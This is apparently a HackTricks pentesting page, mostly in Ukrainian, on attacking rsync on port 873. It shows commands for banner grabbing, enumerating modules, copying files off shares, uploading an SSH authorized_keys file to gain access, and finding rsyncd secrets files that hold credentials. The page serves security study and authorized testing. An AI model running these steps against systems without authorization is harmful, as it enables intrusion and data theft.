7.7 KiB
873 - Pentesting Rsync
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Основна інформація
З вікіпедії:
rsync - це утиліта для ефективного перенесення та синхронізації файлів між комп'ютером та зовнішнім жорстким диском, а також між мережевими комп'ютерами шляхом порівняння часів модифікації та розмірів файлів.[3] Вона зазвичай зустрічається на Unix-подібних операційних системах. Алгоритм rsync є типом дельта-кодування і використовується для мінімізації використання мережі. Zlib може використовуватися для додаткового стиснення даних,[3] а SSH або stunnel можуть використовуватися для безпеки.
Порт за замовчуванням: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
Перерахування
Банер та ручна комунікація
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
Перерахування спільних папок
Модулі Rsync вважаються спільними каталогами, які можуть бути захищені паролями. Щоб визначити доступні модулі та перевірити, чи потрібні паролі, використовуються такі команди:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Будьте обережні, що деякі спільні ресурси можуть не з'явитися в списку, можливо, їх приховано. Крім того, доступ до деяких спільних ресурсів може бути обмежений конкретними обліковими даними, що вказується повідомленням "Доступ заборонено".
Brute Force
Ручне використання Rsync
Після отримання списку модулів дії залежать від того, чи потрібна аутентифікація. Без аутентифікації перелік і копіювання файлів з загальної папки до локального каталогу здійснюється через:
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
Цей процес рекурсивно передає файли, зберігаючи їх атрибути та дозволи.
З обліковими даними список і завантаження з загальної папки можна виконати наступним чином, де з'явиться запит на введення пароля:
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
Щоб завантажити вміст, наприклад, файл authorized_keys для доступу, використовуйте:
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
Щоб знайти файл конфігурації rsyncd, виконайте:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
У цьому файлі параметр secrets file може вказувати на файл, що містить імена користувачів та паролі для аутентифікації rsyncd.
References
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.